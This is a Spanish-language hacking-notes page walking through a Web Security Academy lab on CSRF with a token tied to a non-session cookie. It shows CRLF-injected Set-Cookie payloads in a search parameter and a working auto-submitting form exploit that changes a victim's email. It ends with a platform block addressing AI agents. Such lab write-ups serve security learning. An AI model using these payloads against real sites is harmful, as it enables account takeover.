> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF con token vinculado a una cookie pero no a la sesión

### CSRF donde el token está vinculado a una cookie no asociada a la sesión

La función de cambio de correo electrónico es vulnerable a CSRF. Usa chips, pero no están totalmente integrados en el mecanismo de sesión. Cuentas proporcionadas: `wiener:peter` y `carlos:montoya`.

### Idea clave

* Hay una `csrfKey` cookie y un `CSRF` parámetro de consulta para el cambio de correo electrónico. Ambos valores están "sincronizados", pero **no están relacionados con la sesión**.

<figure><img src="/files/1b8f13faacda4ad6e5ea1432d125efbe310c52d0" alt=""><figcaption></figcaption></figure>

* Al copiar el par (`csrfKey`, `CSRF`) de una cuenta a otra, se puede cambiar el correo electrónico de una víctima **sin** que esté vinculado a su sesión.
* El campo de búsqueda guarda la última búsqueda en una cookie de sesión (`último searchTerm`).

<figure><img src="/files/a2558180aa027eeaa62feb7c2adbe681c1036a06" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1881b61ff458abee04d671a8544379fa76f8445e" alt=""><figcaption></figcaption></figure>

#### Técnico (inyección CRLF mediante investigación)

* Se puede **inyectar encabezados** a través de la búsqueda para forzar al navegador a establecer una cookie arbitraria.

Una cadena simple como `hello csrfKey=aZCI...` no se interpreta.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="/files/c9b05148d575a29edb850e0cba58cf19ecfe89bb" alt=""><figcaption></figcaption></figure>

En cambio, con **retorno de carro + salto de línea** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="/files/da703388e1e1019682f51c5ba5f5cfdb548b0a5c" alt=""><figcaption></figcaption></figure>

Ejemplo funcional:

<figure><img src="/files/3b73d6c804820cc37f450668e524519edacd97e0" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ interpretado como un **Set-Cookie** en el lado de la respuesta.

<figure><img src="/files/6b3a22f8e5ac358481ed0bce597a3a3d3d51e913" alt=""><figcaption></figcaption></figure>

Para un contexto entre sitios, especifica `SameSite=none` para que la cookie acompañe la siguiente solicitud tras el exploit.

Ejemplo (en la barra de direcciones/búsqueda):

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### Operador alojado

1. **Forzando** el `csrfKey` cookie en la víctima mediante una solicitud de imagen a la página de búsqueda (que reescribe el encabezado):

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
